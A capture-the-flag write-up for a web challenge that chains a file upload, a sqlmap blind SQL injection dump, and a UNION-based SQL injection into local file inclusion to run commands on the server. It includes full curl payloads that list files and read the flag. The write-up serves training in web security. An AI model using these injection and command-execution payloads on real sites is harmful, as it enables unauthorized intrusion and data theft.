V1rus3pidem1c
web100
Wasted
16
Description: Hackers created an automated site for virus attacks on the Government. You must find and catch them all!
Attachment: (none)
Webpage: http://tasks.ctf.com.ua:13372
Hint: (none)
After interacting a little bit with the page we can start taking some notes about the website:1
2
3GET parameter "Country" (Possible attacks like SQLi, LFI or even bash injection).
File Upload form (By uploading a PHP Script).
The uploaded files appear to be uploaded into uploads folder.
Lets try uploading a php:
1 |
|
Running some curl commands to check the status code of the file we are about to upload:
1 | $ curl --write-out '%{http_code}' --silent --output /dev/null 'http://tasks.ctf.com.ua:13372/uploads/dnjefwh43jfh342fnewjfjndewefnu27fd.php' |
We got a 404 (not found) which is normal we still didn’t upload our php file so lets do it:
1 | $ curl --write-out '%{http_code}' --silent --output /dev/null 'http://tasks.ctf.com.ua:13372/index.php?country=Germany' -F "fileToUpload=@/home/teamrocketist/D/H/dnjefwh43jfh342fnewjfjndewefnu27fd.php" |
Nice we got an 200 (OK) response! lets see if see if this is good news:
1 | $ curl --write-out '%{http_code}' --silent --output /dev/null 'http://tasks.ctf.com.ua:13372/uploads/dnjefwh43jfh342fnewjfjndewefnu27fd.php' |
We can see we have some good and bad news we uploaded a php file with success! but our php file isn’t executing our php code and why this is happening? The admin must have configured in the apache configuration files to not run php in this specific upload folder(uploads) or it has a .htaccess inside it blocking it.
Actually you could solve this challenge very easily if you uploaded a .htaccess with your own rules overwriting the original .htaccess but this wasn’t the intentional solution, after a while the admins fixed this and protected the .htaccess file so it couldn’t get overwritten, but I believe some other teams managed to solve this challenge like this.
But continuing with the intentional solution, lets try to get what’s left from the notes we took before maybe we can try some sql injection?
1 | $ sqlmap -u "http://tasks.ctf.com.ua:13372/index.php?country=USA" --tables --threads=10 --exclude-sysdbs --dump |
And we got an Blind sql injection dump (Thanks you sqlmap for doing the boring part for us!), but after dumping the database we didn’t find anything special, but if we start thinking how the page is actually working behind this, we can see the admin is selecting the path to a country php file which contains the upload form and INCLUDES it on the index.php page!!!! and here is the key for this challenge! We can try to combine SQLi and LFI with a union technique injection!
- Getting the column number:
1 | # successfully shows up a upload form! |
Performing union injection and include /etc/passwd:
Including our previous uploaded php script and and get remote code execution on the server!
1 | $ curl "http://tasks.ctf.com.ua:13372/index.php?cmd=ls -lta&country=German' union all select 'uploads/dnjefwh43jfh342fnewjfjndewefnu27fd.php' -- frhQ" |
The flag was in the php file iulersiueruigfuihseruhgi.php:
1 | $ curl 'http://tasks.ctf.com.ua:13372/index.php?cmd=cat%20iulersiueruigfuihseruhgi.php&country=German%27%20union%20all%20select%20%27uploads/dnjefwh43jfh342fnewjfjndewefnu27fd.php%27%20--%20frhQ' |